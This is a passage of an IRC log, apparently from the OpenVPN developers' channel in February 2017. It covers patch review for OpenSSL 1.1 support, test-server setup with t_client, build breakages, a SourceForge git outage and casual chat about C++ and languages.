“i”, and the type of y is “PKi”, for example [...] Microsoft’s compiler produces less cryptic output: “int” for x and “int const *” for y." 18:56 <@dazo> (PKi ==> pointer to [kc]onstant of int) 18:58 < ordex> :D 18:58 < ordex> dazo: I think it's a mix of both: jumping from C to C++ is not easy. on top of that C++ is a very flexible object oriented language that allows the dev to do stuff that other obj oriented laungues do not allow 18:59 < ordex> this doubles the effort required for the jump :D 18:59 < ordex> isn't that all fun ?? 18:59 < ordex> :) 19:00 <@dazo> heh ... well, I do like challenges ... but I like consistency and predictability ... which C++ seems to take away from me :-P 19:02 <@dazo> Another example (from a different code example): "Sadly, the results of std::type_info::name are not reliable. In this case, for example, the type that all three compilers report for param is incorrect. Furthermore, they’re essentially *required* to be incorrect, because the specification for std::type_info::name mandates that the type be treated as if it had been passed to a template function as a by-value parameter. 19:02 <@dazo> " 19:05 < ordex> omg 19:05 < ordex> how does this work in terms of portability ? 19:07 <@dazo> for these examples, it seems boost++ is the rescue according to the book I'm reading (Effective Modern C++ by Scott Meyers, quite easy to read and follow) ... it actually provides both the correct results using the boost variant of type_info, and even across 3 compilers (GNU, Clang, Microsoft) 19:08 < ordex> mh 19:08 < ordex> I hate this kind of stuff .. 19:08 < ordex> use a library (not even a small one) just to get type straight and do simple things :( 19:08 <@dazo> but that's actually the point Meyers make ... you don't need to worry to much about such debug features (which type_info usually is used for, even by IDEs) *if* you understand how the type deduction works under the hood 19:08 < ordex> well, maybe this does not fall into the "simple category" 19:09 < ordex> ah 19:09 < ordex> mh :) 19:10 <@dazo> After having heard people complaining about C's issues NULL pointers, stray pointers, buffer over/underflows and what not .... I didn't expect C++ to give me such a cold shower :) 19:11 < ordex> eheh 19:11 < ordex> I wonder what kind of bugs can these features introduce 19:11 <@dazo> exactly 19:11 < ordex> because C++ should still be a non strong typed language 19:11 < ordex> hence, allows you to do any kind of mess 19:11 < ordex> :D 19:12 <@dazo> but ... I have to admit, there are some nice features which really makes it easy to write reusable code, regardless of types ... and even in a safe way ... *if* you understand how the type deduction works 19:12 < ordex> I should take a picture of my hair before jumping into this C++ thing and compare it a few months later 19:12 < ordex> :D 19:12 <@dazo> lol 19:12 < ordex> yeah, I think it all boils down to understanding the basic concepts 19:12 < ordex> *very well* 19:12 <@dazo> yeah 19:12 < ordex> then you should happily get what has been built on top 19:13 <@dazo> it seems so 19:14 < ordex> oh btw, do you know why in travis-ci I don't see all the branches in my repo, but only a few? if you don't, I'll just ask asupport 19:14 < ordex> *support 19:14 <@dazo> I have no idea ... never really looked into travis-ci, tbh 19:14 <@dazo> (not yet, at least) 19:15 < ordex> oky, I have used it for the first time here, after creating my first branch :P 19:16 <@dazo> ahh :) 19:16 <@dazo> not opposed to it, not at all, just haven't had time nor the need to really dig into it 19:17 < ordex> :) 19:17 < ordex> I like it because it can be used to automatize things and save time 19:17 < ordex> aka make me more lazy 19:18 <@dazo> hehe :) .... yeah ... does it have a command line client? 19:20 < ordex> mh dunno 19:20 < ordex> I don't think so, but you would not really need it 19:20 < ordex> you can configure it to build every push 19:20 < ordex> and it takes care of the rest 19:23 * ordex finished his mission of converting netmasks to netbits 19:27 <@dazo> nice! 20:12 < ordex> cron2_: who should I ask in order to get SOLARIS/AIX/etc commands that can be used with netbits instead of the netmask ? --- Day changed Sat Feb 18 2017 01:15 <@cron2_> ordex: me... 02:23 < Vbif> hello guys. I have an application with tap-windows driver and it crashes near ReadFile or WriteFile to tap driver. How properly debug these situation ? 02:23 < Vbif> Mabe tap-driver have some logging feature 02:23 < Vbif> maybe* 03:44 < ordex> cron2_: cool :] maybe sometime next month, when you get some spare minutes, we could put together a table of how to modify the route/tun/addr commands to accommodate the /netbits 03:46 <@cron2_> yep. 03:47 < ordex> thanks! 07:55 <@dazo> This screen dump looks somewhat familiar .... https://twitter.com/evilsocket/status/832921935428407296 08:01 <@cron2_> heh :) 08:05 < ordex> lol 08:12 <@dazo> We need to reconsider the phrasing of the "see the man page entry for --no-replay..." line ... and perhaps not print it each single time this happens 14:07 < slypknot> Re https://community.openvpn.net/openvpn/ticket/828 -- I finally got around to setting a server-bridge with W7(home) and all I can tell you is (so far) it works without issue .. 14:07 <@vpnHelper> Title: #828 (Bridged Windows 7 Connection Not Functional) – OpenVPN Community (at community.openvpn.net) 20:37 < ordex> morning :) 21:26 < ordex> when running t_client.sh, should I launch the server beforehand myself ? it seems like it assumes to have a server running, while I thought it was configuring/launching it itself --- Day changed Sun Feb 19 2017 00:40 < slypknot> ordex: the server is the openvpn community server (last time i asked what it was called) you need an account on that server 00:40 < slypknot> https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 00:40 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 00:40 < slypknot> like that ^^ 00:42 < ordex> oh ok 00:42 < ordex> slypknot: thanks :) 00:42 < slypknot> np :) 00:43 < slypknot> i guess it is the same t_client.sh ? 00:43 < ordex> "the same" ? 00:45 < slypknot> see t_client.rc 00:46 < slypknot> should make sense 00:46 < ordex> yup, I am using the sample provided in the test folder 00:47 < slypknot> anyway .. you need an account on the community vpn server as i understand it 00:47 < slypknot> unless you setup your own server .. maybe 00:49 < slypknot> mattock: is in charge of that :) 00:50 < slypknot> i think 00:50 < ordex> first I will read and understand how it works :P 00:50 < ordex> thnks for the pointers :) 00:50 < ordex> *thanks 00:56 < slypknot> $targetlist is the community vpn server 00:57 < slypknot> or there abouts 02:39 <@cron2_> ordex: basically, t_client is a barebones framework to run a list of openvpn client invocations against "a test server" 02:40 < ordex> yup, therefore the test server has to be there already. I am reading the link that slypknot gave me. I think that clarifies my remaining doubts 02:40 < ordex> thanks! :) 02:40 <@cron2_> for the buildslaves and the regular developers, we have one shared server instance running that has the most common test setups (tun, tap, net30, subnet, ...) - but in addition to that, I run a few extra instances for thing that cannot be properly shared, like a --inetd instance and a p2p instance 02:41 <@cron2_> there is a patch set floating around to fire up VM instances running the server side using "fragrant" (iirc), but I'm not sure what the state of that is - mattock liked it very much, I found it had no benefits for me (since all the VMs are already there) so didn't investigate much 02:42 <@cron2_> it's a bit of a nuisance to get t_client setup properly in the first place, but afterwards it is quite useful in finding "oh, that patch broke net30 on freebsd (again!)" :-) 02:43 < ordex> yeah :D 02:43 < ordex> your last sentence is exactly what I was aiming for 02:44 <@cron2_> seems I need to create a set of credentials for you :) - are you using PGP? If yes, please send me a signed mail, and I'll send a .tar with credentials and a sample t_client.rc "with all the stuff I currently run" back 02:44 < ordex> thanks ! 02:44 < ordex> will do ! 02:53 <@cron2_> your bundle is ready for pickup... :) 02:57 < ordex> great ! 03:20 < ordex> cron2_: just to be sure I understood: do I have to pick it up somewhere ? or whille it be delivered by the postman? :D 03:20 <@cron2_> it's being packed for postal delivery as we speak :)= 03:21 < ordex> ah ok :D 03:26 <@cron2_> handed over to postman 03:26 < ordex> great :D let's see how it takes to cross the pond :d 03:26 <@cron2_> (with a long security note "do not give to children under age 3", etc. :) ) 03:26 < ordex> lol :D 03:27 < ordex> thanks, I just got it !! 03:27 < ordex> I will play with it later this night, have to go out now 03:27 <@cron2_> have fun :) 03:27 <@cron2_> (it's 10:26 here, I'll go out now as well, and clean the car...) 06:23 <@plaisthos> A openSSL 1.1 patchset out of nowhere %) 07:47 < ordex> :D 09:52 < ordex> cron2_: to test the server side instead, there is nothing automatic at the moment ? 11:39 <@cron2_> plaisthos: indeed, and a fairly nice looking one at that 11:39 <@cron2_> ordex: I have scripts that are run once a day, fetch git, compile, start a handful of servers, and then ssh to a client to fire off t_client tests - but they need even more local customization 11:54 <@cron2_> dazo: heads up. I've pushed a commit to gitlab & github *only*, because sf.net is going "connection refused" on mer 11:56 <@vpnHelper> RSS Update - gitrepo: OpenSSL: check for the SSL reason, not the full error <https://github.com/OpenVPN/openvpn/commit/6ddc43d1bf9b3ea3ee5db8c50d56a98fe4db4c97> 18:44 < ordex> morning ! 18:44 < ordex> cron2_: oky. I just need something simple, so I guess I will come up with my own small thing --- Day changed Mon Feb 20 2017 03:45 <@cron2_> so - meeting this wednesday? dazo, syzzer, mattock? 04:24 <@syzzer> +1 04:27 <@cron2_> syzzer: food for thought and discussion on wednesday - I think we should at least consider to include the openssl 1.1 patch series in the 2.4 train 04:28 <@cron2_> this falls squarely in the "long term maintenance / compatibility" category of backportable things, plus, we're still early in 2.4, 2.5 is waaaay out (though we all wish it were not so :) ) *and* I trust your test suite to uncover anything it might break 04:29 <@cron2_> (since your test suite covers way more SSL related code than mine, which is more "transport / platform code" focused) 04:32 <@syzzer> cron2_: yeah, I too think ossl 1.1 support for 2.4 makes sense 04:32 <@syzzer> the changes are somewhat large in number, but quite low on the intrusiveness scale 04:33 <@cron2_> yeah 04:57 <@dazo> cron2_: mattock: Meeting on Wed would be good ... I don't know if I can make the beginning, but will do my best to come as soon as possible 04:58 <@dazo> cron2_: I'll try to repush to sf.net now 04:59 <@cron2_> sfnet is still broken from here... ssh refuses, https answers but then resets the connection right away 04:59 <@dazo> ouch 04:59 <@cron2_> does it work for you? 05:00 <@dazo> checking now 05:06 <@dazo> seems ssh is down on their git server 05:10 <@cron2_> git:// is not working either 05:10 <@cron2_> do we have contacts there? 05:13 <@dazo> there's some support site .... I'll try to push over https too 05:19 <@dazo> nope ... "fatal: unable to access 'https://git.code.sf.net/p/openvpn/openvpn/': TCP connection reset by peer" 05:19 * dazo checks support tickets and files one if needed 05:24 <@dazo> there's something familiar with this reporter .... https://sourceforge.net/p/forge/site-support/14501/ 05:24 <@vpnHelper> Title: SourceForge Support / Site Support / #14501 Git access via SSH broken (connection refused) (at sourceforge.net) 05:26 <@dazo> seems to have started about 18-19 hours ago 05:26 <@dazo> https://sourceforge.net/p/forge/site-support/search/?q=!status%3Afixed+%26%26+!status%3Awont-fix+%26%26+!status%3Aclosed+%26%26+!status%3Aself-service+%26%26+!status%3Apending+%26%26+!status%3Ainvalid 05:26 <@vpnHelper> Title: SourceForge Support / Site Support / Search (at sourceforge.net) 05:27 <@cron2_> dazo: haha, always the same people complaining :) 05:27 <@dazo> no, at least one day 05:27 * dazo looked at the updated column instead of created 05:28 <@cron2_> ok, whatever... let's see what happens there, and use github/gitlab for the time... 05:28 <@dazo> yeah ... the wonders of distributed solutions :) 05:28 * cron2_ is working on Selva's trac#810 patch... wheee, windows functions 05:29 <@dazo> heh 06:24 <@dazo> https://twitter.com/victorporof/status/833021513347559424 06:26 <@cron2_> is that your new systemd-and-ubus-enabled openvpn 3? *duck* 06:28 < ordex> lol 06:28 < ordex> but it works ! 06:30 <@dazo> cron2_: lol ... in the current phase, yes! ... Once I know it works, I'll reduce it to be less fancy :-P 06:32 <@cron2_> nah, if it works, it needs to grow bells and whistles! 06:32 < ordex> :D 06:33 <@vpnHelper> RSS Update - gitrepo: Fix user's group membership check in interactive service to work with… <https://github.com/OpenVPN/openvpn/commit/e82733a1ab78062feca28578fe505b275a2356a6> 06:38 < ordex> cron2_: ah btw, the t_client.rc works great here, thanks ! I just have to add ipv6 to my workstation to test udp6/tcp6, but the rest was working fine! 06:38 < ordex> for the p2p test I will probably setup my own instance when I'll have time 06:38 <@cron2_> ordex: having v6 helps indeed ;-) - glad you got it working. 07:10 <@vpnHelper> RSS Update - tickets: #846: [FreeBSD] UDP multihome uses wrong IP address if alias is on the same subnet as for main IP address <https://community.openvpn.net/openvpn/ticket/846> 09:12 <@cron2_> mattock: you've become a true powershell wizard :-o 09:29 < slypknot> mattock: ^^ what cron2_ just said :) 09:30 < slypknot> mattock: I'll check your shell script when i get access to w7 later on .. thanks for your help 09:31 < slypknot> cron2_: also thanks :) 09:33 < slypknot> mattock: also note: Type 0x10 (32) ? should read Type 0x20 (32) in tat mail i just sent 11:02 <@cron2_> syzzer: how shall we proceed with the crypto.[ch] reformatting patch vs. the openssl patch set? I assume that that will cause quite a few conflicts 11:52 <@mattock> slypknot: you mean for openvpnserv2? 11:52 <@mattock> the type is referring to these: https://msdn.microsoft.com/en-us/library/windows/desktop/ms685996%28v=vs.85%29.aspx 11:52 <@vpnHelper> Title: SERVICE_STATUS structure (Windows) (at msdn.microsoft.com) 11:53 <@mattock> for openvpnserv2/OpenVPNService type should be 0x10, and for OpenVPNServiceLegacy and OpenVPNServiceInteractive it should be 0x20 11:53 <@mattock> anyways, I need to split now, but this is an interesting issue :P 13:27 <@cron2_> sf.net is working again 13:51 <@vpnHelper> RSS Update - gitrepo: attempt to add IPv6 route even when no IPv6 address was configured <https://github.com/OpenVPN/openvpn/commit/2b7650e7ec9241745e4f66c932d6cffaece927d7> 13:59 <@cron2_> mattock: buildslave-is-offline notifications still do not work 14:51 < kitsune1> quit 14:51 < kitsune1> exit 15:28 < slypknot> mattock: i'll x2 check the types .. thanks for the link .. it is an odd one .. i'll have a go at selva's bisect approach :) 15:30 < slypknot> cron2_: some of my buildbots maybe offline .. too many tasks to risk cockups right now ;) 15:36 <@cron2_> slypknot: indeed they are... 15:41 <@dazo> syzzer: do you know if there are any surprises when moving from mbedtls-2.3 to mbedtls-2.4? 17:34 -!- dan- is now known as dan_ 17:35 -!- dan_ is now known as Guest62944 17:40 -!- Guest62944 is now known as dan- 19:24 < ordex> cron2_: thanks for merging my patch! :) 19:52 < ordex> dazo: don't you like surprises? :D 21:02 < slypknot> "/mee likes surprises --- Day changed Tue Feb 21 2017 04:03 <@syzzer> cron2_: hm, I'm not sure. The longer we wait with it, the more patches we will receive that are pre-reformatting... 04:04 <@syzzer> dazo: mbed now has 'semantic versioning', which means "major-minor-bugfix" and thus not many surprises when going from x.y to x.y+1 :) 04:05 <@mattock> guys: meeting tomorrow? 04:05 <@syzzer> their release notes are quite decent, so just check them before taking an upgrade into production 04:05 <@mattock> if yes, we'd need an agenda 04:06 <@syzzer> ok, so I have 'client-specific tls-auth/crypt keys' and 'post-quantum key exchange' if you're looking for topics ;) 04:07 <@syzzer> cron2_: oh, and although some of the openssl 1.1 patches might no longer apply cleanly, resolving conflicts should be trivial 04:26 <@cron2_> mattock: yes. Agenda is, at least, 2.4.1 release and openssl 1.1 support patches 04:26 <@cron2_> 2.4.1 release has "what is missing" and "when?" as sub-items 04:30 <@cron2_> syzzer: if you have a few ACKs, today I'm planning time for openvpn patch merging... 04:57 <@syzzer> cron2_: haven't had time to further look into the patches 04:57 <@syzzer> I'm planning to some time on them tonight 04:58 <@cron2_> good :) 04:59 <@syzzer> but there's the crypto-reformatting and ordex' inline patch in the queue ;) 04:59 <@cron2_> those are definitely head-of-line blockers 05:00 < ordex> politely waiting in the line :D 07:12 <@mattock> cron2_: ok, I'll setup the agenda page 07:27 <@dazo> syzzer: thx! Yeah, I know the semantic versioning scheme is used by mbed TLS now. Just didn't know if only x.y.z or also x.y where the safe paths 07:29 <@dazo> ordex: I like surprises ... except ABI/API related ones :-P 07:34 < eworm> dazo: speaking about ABI/API... Did you look for the openssl 1.1.0 presentations you mentioned? 07:34 <@cron2_> dazo: still waiting for a decision from you on the lz4 script :) 07:36 <@dazo> cron2_: sorry! A lot is happening here ... I say fix-on-commit, this isn't a critical code-path (not even an OpenVPN code path) ... but I can take care of it, if you want 07:37 <@dazo> eworm: I haven't found it yet :( .... I'll write Tomáš Mráz who had the talk 07:38 <@cron2_> dazo: fix-on-commit is fine, I juste needed an answer either way 07:39 <@dazo> cron2_: oh, you mean -E or modify regexp? Go for simplicity :) 07:39 <@cron2_> no, the question "what do you want, fix-on-commit or v2?" was not answered yet :) 07:39 <@cron2_> going for simple regex and fix-on-commit now 07:39 <@dazo> fix-on-commit :) 07:40 * dazo kicks away a few of the balls he is juggling before adding even more discussions :) 07:41 <@cron2_> +/* This file have been backported by ./dev-tools/lz4-rebaser.sh 07:41 <@cron2_> oh well, and a small grammar change :) 07:41 <@cron2_> s/have/has/ 07:42 <@dazo> duh ... yeah, that's my typical grammar mistakes ... together with is/are (we don't have those variations in Norwegian, so I always mix it up) 07:42 <@cron2_> a good friend of mine once told me that it's easy to figure out where a non-native speaker comes from, by looking at their grammar mistakes (even if no accent) 07:42 <@cron2_> I asked "so what's the typical mistake Germans make?" 07:43 <@cron2_> he said "you do not make grammar mistakes, you have so many rules that English is simple in comparison" :-) 07:43 <@dazo> lol ... yeah :) 07:43 <@cron2_> (at least no *typical* mistakes) 07:43 * cron2_ spent the last few hours reviewing a document writen by a dutch person, a spaniard and a slovenian 07:43 <@cron2_> this makes interesting reading... 07:44 <@dazo> My wife have a Masters degree in German ... and she says German is so structured you can fit all the grammatical rules into a spreadsheet, even adding all the exceptions and it still is comprehensible :) 07:44 <@cron2_> there must be order! 07:44 <@dazo> yeah ;-) 07:45 <@dazo> In Norwegian ... we have actually grammatical cases where we only can say "It depends, depends on where you are from - or just your mood" 07:46 <@cron2_> hehe, I bet learning the nuances can be a lifetime challenge 07:46 <@dazo> yeah :) ... Even I don't know them all ;-) 07:48 <@vpnHelper> RSS Update - gitrepo: dev-tools: Simple tool which automates rebasing LZ4 compat library <https://github.com/OpenVPN/openvpn/commit/fce9d75b2c44c354457522643eddc914e41f2d84> 07:49 <@dazo> \o/ my little lazy-hacker-tool got accepted! :-P 07:49 <@dazo> (it's not fully accepted until it hits the git trees, must know!) 07:50 * cron2_ is slowly working his backlog 08:31 <@cron2_> mmmh, sf.net git is working, but their "ow, a new commit, send mail!" thingie stopped... 08:31 <@dazo> cron2_: speaking of sf.net ... you can remove openvpn-testing.git from your git repositories ... I just haven't had time to remove it 08:36 <@cron2_> done 08:36 <@dazo> I'll send a note to the -devel list that we're abandoning that repository 08:40 <@cron2_> ordex: is there a trac ticket for the "fix redirect-gateway behaviour when an IPv4 default route does not exist" bug? 08:40 <@cron2_> (just wondering if something needs referencing) 09:24 <@cron2_> Tue Feb 21 16:19:57 2017 NOTE: unable to redirect default gateway -- Cannot read current default gateway from system 09:24 <@cron2_> this is indeed silly, if "redirect-gateway def1" is requested... 09:24 <@cron2_> ... and transport is over v6... 09:31 <@dazo> heh 09:32 <@dazo> here's an interesting one https://bugzilla.redhat.com/show_bug.cgi?id=1425445 09:32 <@vpnHelper> Title: Bug 1425445 retrying VPN connection does not work properly (at bugzilla.redhat.com) 09:32 < ordex> cron2_: if I haven't written anything in the patch itself, I'd say no. I think I found it while digging into another ticket 09:33 <@dazo> not sure I agree on the "select random IP address " part though :-P 09:33 <@cron2_> ordex: it came out of a discussion on the list, someone on a v6-only network ran into this 09:34 <@cron2_> tested on FreeBSD 11, does the right thing :) 09:34 < ordex> oh ok 09:34 < ordex> :) 09:37 <@cron2_> dazo: *sigh* - and indeed, we purposely do not use "a random remote" anymore, since that's the OS's job - getaddrinfo() gives us what the system considers "ordered in order of preference", so well-behaved applications follow that advice 09:37 <@cron2_> but the aspect about failing over quickly on ICMP errors is something we should investigate :-) 09:43 <@vpnHelper> RSS Update - gitrepo: fix redirect-gateway behaviour when an IPv4 default route does not exist <https://github.com/OpenVPN/openvpn/commit/14670a9d654be48f92b58ac47e6f74d3dcfe1733> 09:43 <@cron2_> ordex: the 'fix "redirect-gateway autolocal"' patch needs more brains than I have right now 09:43 < ordex> :D 09:43 <@cron2_> (since it rewrites the netlink stuff) 09:44 < ordex> I can understand, that required quite some brain on my side too, just to understand what was going on in the code 09:44 < ordex> eheh 09:45 <@dazo> cron2_: yeah, it have some merits on the ICMP side ... the reconnect logic can definitely be improved 09:45 * dazo wonders where plaisthos is hiding these days 09:46 <@dazo> so quiet from him lately 09:48 <@cron2_> maybe finishing his PhD... supposedly there is some real work involved :) 09:48 <@dazo> hehe .... could be :) 10:19 < ordex> but if the same "remote" resolves to a bnch of IPs, does openvpn try them all in case of error/timeout ? 10:23 <@cron2_> 2.4 should 10:24 <@cron2_> including "all v6, then all v4" or vice versa, depending on OS preference 10:25 < ordex> ok, so it will go through the entire addrinfo list that it gets from getaddrinfo() 10:25 < ordex> cool 10:26 <@cron2_> 2.3 randomly picked one address, in the address family specified by "udp" or "udp6", no true dual-stacking there 10:27 < ordex> I see 10:28 < ordex> thanks for the summary :) 12:07 < slypknot> https://forums.openvpn.net/viewtopic.php?f=25&t=23490 12:07 <@vpnHelper> Title: reneg-bytes confusion and SWEET32 - OpenVPN Support Forum (at forums.openvpn.net) 12:08 < slypknot> shall I edit the wiki to --reneg-bytes 64000 to 64000000 ? 12:49 <@dazo> slypknot: yes, please ... that's obviously just a typo 12:54 <@dazo> (but with that said ... a reneg every 64KiB isn't reducing security ;-) 12:59 <@ecrist> it is adding a bit of overhead, though. 12:59 <@ecrist> *bit* 12:59 * ecrist lols 13:25 < slypknot> Done ;) 13:30 <@dazo> thx! 13:47 <@syzzer> woops :') 13:47 <@syzzer> thanks for fixing :) 14:09 < slypknot> dazo: sorry . did not realise you also answered :') 14:10 < slypknot> syzzer: no prob .. thanks for all you hard work ! 14:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Read error: Connection reset by peer] 14:19 <@dazo> slypknot: nah, I just decided to elaborate a bit more on the details ... these forum posts appears in various search engines with time as well, so why not ensure people get good info as quickly as possible :) 14:36 * slypknot agrees 15:16 <@vpnHelper> RSS Update - gitrepo: dev-tools: lz4-rebaser tool carried a typo <https://github.com/OpenVPN/openvpn/commit/40d6d471ff72e6a5e46911a3205f8e4401f506a3> 15:36 <@cron2_> syzzer: have you seriously started with 09/15, or didn't I see the ACKs for 01...08 yet? 15:37 <@syzzer> cron2_: yes, I just started out with the simple one :p 15:37 <@syzzer> and since this one does not depend on the others, I just ACK'ed it right away 15:38 <@cron2_> there are two changes in that patch I do not understand 15:38 <@cron2_> > - char *subject = x509_get_subject(ctx->current_cert, &gc); 15:38 <@cron2_> > + char *subject = x509_get_subject(current_cert, &gc); 15:39 <@cron2_> ah, wait 15:39 <@cron2_> ignore that 15:39 <@syzzer> heh, okay :p 15:39 <@cron2_> I was confused about the change from ctx->current_cert to current_cert in two places, but now I found the line 15:40 <@cron2_> > + X509 *current_cert = X509_STORE_CTX_get_current_cert(ctx); 15:40 <@cron2_> he could have called that X509 *foobar = ... and the rest would have been easier to map 15:40 <@cron2_> so it looked like "we're still talking to members of ctx->, just lost the pointer somewhere" 15:41 <@cron2_> good. Will merge tomorrow (and since this seems to be independent of actual 1.1 changes, it goes to 2.4 and master) 15:42 <@syzzer> hm, I fail to see how 'foobar' is better than 'current_cert' :p 15:42 <@cron2_> it's more a visual thing 15:42 <@syzzer> but otherwise I completely agree 15:42 <@cron2_> "ctx->current_cert" and "current_cert" look too similar, so my brain didn't see "nah, this is a newly introduced variable" 15:42 <@syzzer> ah, for the patch, indeed 15:42 <@cron2_> "ctx->current_cert" and "foobar" look very much not similar :) 15:42 <@syzzer> resulting code looks good to me :) 15:43 <@cron2_> yeah, I'm all fine. Just tired, and took a while... 15:43 <@cron2_> to bed now! 15:43 <@syzzer> you did catch up quite a bit today is seems :) 15:43 <@syzzer> good night! 15:44 <@cron2_> good night! 16:35 * slypknot chortles 16:35 < slypknot> https://forums.openvpn.net/viewtopic.php?f=5&t=23491#p68184 16:35 <@vpnHelper> Title: OpenVPN Connect client for OpenVPN Community Server - OpenVPN Support Forum (at forums.openvpn.net) 20:00 < ordex> morning ! --- Day changed Wed Feb 22 2017 01:38 <@cron2_> mornin' 01:49 < ordex> morning :) 03:11 < ordex> dazo: did you eventually run your tests on the last auth-token patch ? if so, I'd send it to the ml 03:59 <@plaisthos> dazo: yeah, too much other things :/ 04:10 <@plaisthos> and yes also phd 04:11 < ordex> oh, plaisthos what's your phd topic/field ? 04:11 < ordex> if I may ask :) 04:11 <@plaisthos> software defined networking 04:14 < ordex> I had a friend of mine who started a PhD on SDN in Germany, but can't remember where exactly - it was a small town 04:38 <@syzzer> Paderborn? :p 04:47 < ordex> mh, does not sound familiar 04:47 < ordex> :P 08:33 < eworm> syzzer: You are Steffan Karger? 08:51 <@syzzer> eworm: yes :) 08:51 < eworm> ah... just answered your mail to the ml :D 08:51 < eworm> Does your ACK apply for one patch or the complete series? 08:53 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 08:55 <@syzzer> just one 08:55 <@syzzer> didn't have much brains left last night, so I decided to only really review and test the easiest patch of the set :p 09:53 <@cron2_> eworm: unless explicitly said, ACKs are always for exactly the patch being replied-to 09:53 <@cron2_> so a 15-patch patch set might get 7 ACKs, 5 ACKs-with-changes, 2 NAKs "because this could be done differently" 10:02 < ordex> cron2_: I think he's gone 10:02 < ordex> but thanks for clarifying :) 10:02 <@cron2_> indeed... 10:02 * cron2_ needs to learn to read 10:13 <@vpnHelper> RSS Update - gitrepo: OpenSSL: don't use direct access to the internal of X509_STORE_CTX <https://github.com/OpenVPN/openvpn/commit/88046ad9e8e333259ae6fb4a295a9931a1a0e47f> 10:24 <@cron2_> syzzer: MOAR ACKs 10:25 < ordex> :D 10:25 < ordex> ack'em all!! 10:30 <@cron2_> busy he is... 12:55 < eworm> Ah, first openssl 1.1.0 patch was committed. :-p 12:55 <@cron2_> second 12:55 < eworm> Do my ACKs count? 12:55 <@syzzer> the second, actually :) 12:56 <@cron2_> eworm: they help, but in such a crucial place I'd prefer to have syzzer agree 12:56 < eworm> the second? 12:56 < eworm> ah, I did not count the reason thing 12:57 <@cron2_> we do not have cast-in-stone rules on "who can ACK and who cannot", but depending on the intrusiveness of a change and/or the sensitivity of the code paths, I like ACKs from "people that I know have been bitten by this code before" more :-) 12:57 <@cron2_> so an ACK from eworm for a systemd- or build-on-linux related change would be perfectly alright, for SSL (or "FreeBSD related") would be more of an indication 12:57 <@cron2_> today 12:58 <@cron2_> on the other hand, if it's a code section *I* know well, an ACK is sort of a kick to me, to get going and do my own review now!! 12:59 <@cron2_> am I rambling? maybe... :) 13:37 <@syzzer> cron2_: the patch set applies surprisingly well on top of the crypto_ reformatting :) 13:48 <@cron2_> syzzer: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg00134.html - this threat is still in my "something needs to be done here" list - can you remember whether something *has* been done? 13:48 <@vpnHelper> Title: Re: [Openvpn-devel] 2.3.12 vs git-master with cipher negotiation (at www.mail-archive.com) 13:49 <@syzzer> that's done :) 13:49 <@syzzer> it's the patch where I broke the options hash checking O-) 13:50 <@syzzer> ah, no, sorry 13:50 <@syzzer> that's a different one 13:50 <@cron2_> nah, that was a different one - this thread was about "you do SIGUSR1 reconnecting, and cipher is not reset to pre-pushed value" 13:50 <@syzzer> but I did tackly this one 13:51 <@cron2_> ah, 129d2924bb4179b7df4a157a0443c45f2279e92d looks like it - " Restore pre-NCP cipher options on SIGUSR1 13:51 <@cron2_> indeed. close case :) 13:51 <@syzzer> exactly 14:44 <@cron2_> whoa, two ACKs! 15:12 <@cron2_> just as a side note... I wonder why the OpenSSL guys are not providing the compat header so "new apps can use old openssl libs" with this approach... 15:13 < slypknot> job security .. ? 15:17 <@vpnHelper> RSS Update - gitrepo: OpenSSL: don't use direct access to the internal of X509_OBJECT <https://github.com/OpenVPN/openvpn/commit/47191f49890ee5c53fa78a8ce9bf96b9c8d27a82> || OpenSSL: don't use direct access to the internal of X509_STORE <https://github.com/OpenVPN/openvpn/commit/f05665df4150c6a345eec5432a02fd799bea0f2c> || OpenSSL: don't use direct access to the internal of SSL_CTX <https://github.com/OpenVPN/openvpn/commit/6554ac9f 15:49 <@syzzer> yeah, that would have been nice... 15:49 <@syzzer> even the mbed guys do that 15:56 <@cron2_> huh 15:56 <@cron2_> centos buildbot exploded 15:57 <@cron2_> checking for PKCS11_HELPER... no 15:57 <@cron2_> ./configure: line 21440: syntax error near unexpected token `fi' 15:57 <@cron2_> ./configure: line 21440: `fi' 15:57 <@cron2_> as did mingw 15:57 <@cron2_> ssl_openssl.c:48:28: fatal error: openssl_compat.h: No such file or directory 15:57 <@cron2_> ... because we're not including that in the tarball, I'd guess... 15:58 <@cron2_> tomorrow 16:08 <@syzzer> ahh, *that* I didn't test... 16:08 <@dazo> make distcheck should have caught that one 16:09 <@syzzer> in the mean time I found a double free in 07/15, while testing 04/15... 16:09 <@dazo> :) 16:09 <@syzzer> good that we're not blocking 2.4.1 on this patch set ;) 16:09 <@dazo> hehe :) 16:10 <@syzzer> make distcheck indeed finds that problem! 16:10 <@syzzer> I guess I'll have to add a build job for that too 16:12 <@syzzer> or can I simply replace 'make check' with 'make distcheck 16:17 <@dazo> well, that won't give the same results ... as we don't ship the t_client.rc config ;-) 16:17 <@syzzer> ah, good to know 16:18 <@syzzer> I run 9 builds, of which I test two (one openssl, one mbedtls) using t_client, and the other without 16:18 <@syzzer> so I'll just change one of the other 7 to 'make distcheck' :) 16:18 <@dazo> yeah :) 16:19 <@syzzer> (this is my private buildbot at home, at the office I do somewhere in the 30 builds...) 16:20 <@dazo> I see I'm sloppy in my local testing .... 16:21 <@syzzer> well I'm the lazy one, all I have to do now is push to my private remote and the machines start crunching :) 16:21 <@dazo> well, it's taken a bit of efforts getting that up'n'running :) 16:22 <@dazo> Hmmm ... I know I need some new disks for my home server .... perhaps I should just buy a brand new server with disks and migrate everything to that box ... and get some resources for such things running too 16:22 <@syzzer> was not too bad actually, jenkins works quite well 16:23 <@dazo> (my home server is a bit pressured on RAM ... and it is maxed out at 16GB :/ ) 16:23 <@syzzer> ../../../../src/openvpn/crypto_openssl.c:45:28: fatal error: openssl_compat.h: No such file or directory 16:23 <@syzzer> perfect 16:23 <@dazo> :) 16:23 <@syzzer> heh, I don't think I have more that 16 GB 16:24 <@syzzer> enough for today, I'm migrating to the couch and the bigger screen 16:24 <@syzzer> good night! 16:24 <@dazo> enjoy! :) 19:27 < ordex> morning ! 19:35 < ordex> dazo: finding out more corner cases? :) --- Day changed Thu Feb 23 2017 02:04 <@cron2_> good morning folks 02:05 <@syzzer> morning! 02:05 <@syzzer> cron2_: did you see the reply from mattock on #825? 02:05 <@syzzer> would you prefer me to resend a patch, or will you fix author/signed-off-by on the fly? 02:06 <@cron2_> not yet... looking... all good, I'll apply with 